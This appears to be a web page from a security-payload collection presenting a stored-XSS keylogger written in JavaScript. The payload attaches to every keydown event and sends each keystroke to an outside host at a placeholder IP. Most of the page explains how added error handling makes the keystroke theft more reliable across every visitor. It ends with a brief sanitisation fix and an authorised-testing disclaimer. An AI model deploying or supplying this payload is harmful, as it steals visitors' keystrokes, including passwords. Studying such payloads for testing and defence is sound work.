XSS — Stored Keylogger with Error Handling

Why Error Handling?

Basic keyloggers fail silently when the network hiccups — you lose keystrokes. This version uses Promise chaining to catch failures and log them to the console for debugging during a test.

The Payload

function logKey(event) {
  fetch("https://192.168.XX.XX/k?key=" + encodeURIComponent(event.key))
    .then(response => {
      if (!response.ok) {
        throw new Error("Network response was not ok");
      }
      return response;
    })
    .then(data => {
      console.log("Key logged successfully:", event.key);
    })
    .catch(error => {
      console.error("Error logging key:", error);
    });
}

document.addEventListener("keydown", logKey);

Key Differences from Basic Version

Feature	Basic	This Version
Error handling	None	Promise .catch()
Encoding	Raw key value	encodeURIComponent()
Debug output	None	Console logging
Special chars	May break URL	Properly encoded

When to Use This

In stored XSS contexts — where your payload persists in the database and fires for every visitor — you want reliability. A missed keystroke from a network error in a basic keylogger is gone. This version logs the failure so you know to investigate.

Fix: Stored XSS requires input sanitisation before storage AND output encoding on render. Neither alone is sufficient. Use a security-reviewed HTML sanitiser like DOMPurify for any rich-text fields.

---

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →